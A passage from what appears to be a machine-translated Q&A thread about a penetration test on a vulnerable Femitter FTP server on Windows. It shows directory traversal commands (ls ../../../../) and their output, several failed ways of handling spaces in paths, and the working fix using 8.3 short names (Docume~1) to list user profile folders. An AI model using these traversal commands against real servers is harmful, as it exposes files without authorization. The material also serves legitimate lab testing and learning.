loc*_*out 15 ftp attack-vector
我在封闭的参考环境中进行了一个受认可的渗透测试,并在一个看似简单的问题上挣扎,我目前无法解决。
当尝试对运行在 MS Windows 操作系统上的易受攻击的 Fermitter FTP 服务器执行目录遍历攻击时,可以在系统根目录上执行 LIST(地址和内容列表在这里更改仅供参考):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
Run Code Online (Sandbox Code Playgroud)
但是,如果我想列出包含空格的文件夹的内容,例如Documents and settings
,我无法列出目录内容,因为空格被忽略。
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
Run Code Online (Sandbox Code Playgroud)
我已经尝试过使用不同的 FTP 客户端(CLI 和 GUI,在 Linux 和 Windows 上),它们要么忽略空格,要么禁止目录遍历。
还尝试通过首先使用原始套接字然后 ftplib 将命令以十六进制格式直接发送到 FTP 服务器来编写对 Python 的攻击脚本,但没有成功。
谷歌搜索了几个小时并没有产生一个可行的解决方案(是的,有很多选择,但都不起作用),这就是为什么这里有人遇到了同样的问题。可以肯定,这不是第一次需要这样的带有空格的目录遍历。
loc*_*out 16
@Dogeatcatworld 建议的解决方案是使用 MS Windows 目录短符号,例如C:\Docume~1\
.
ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 .
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 ..
drw-rw-rw- 1 ftp ftp 0 Sep 26 2015 Administrateur
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 All Users
226 File sent ok
Run Code Online (Sandbox Code Playgroud)
来自 MS 知识库的非常好的文章解释了 8.3 目录符号:Windows 如何从长文件名生成 8.3 文件名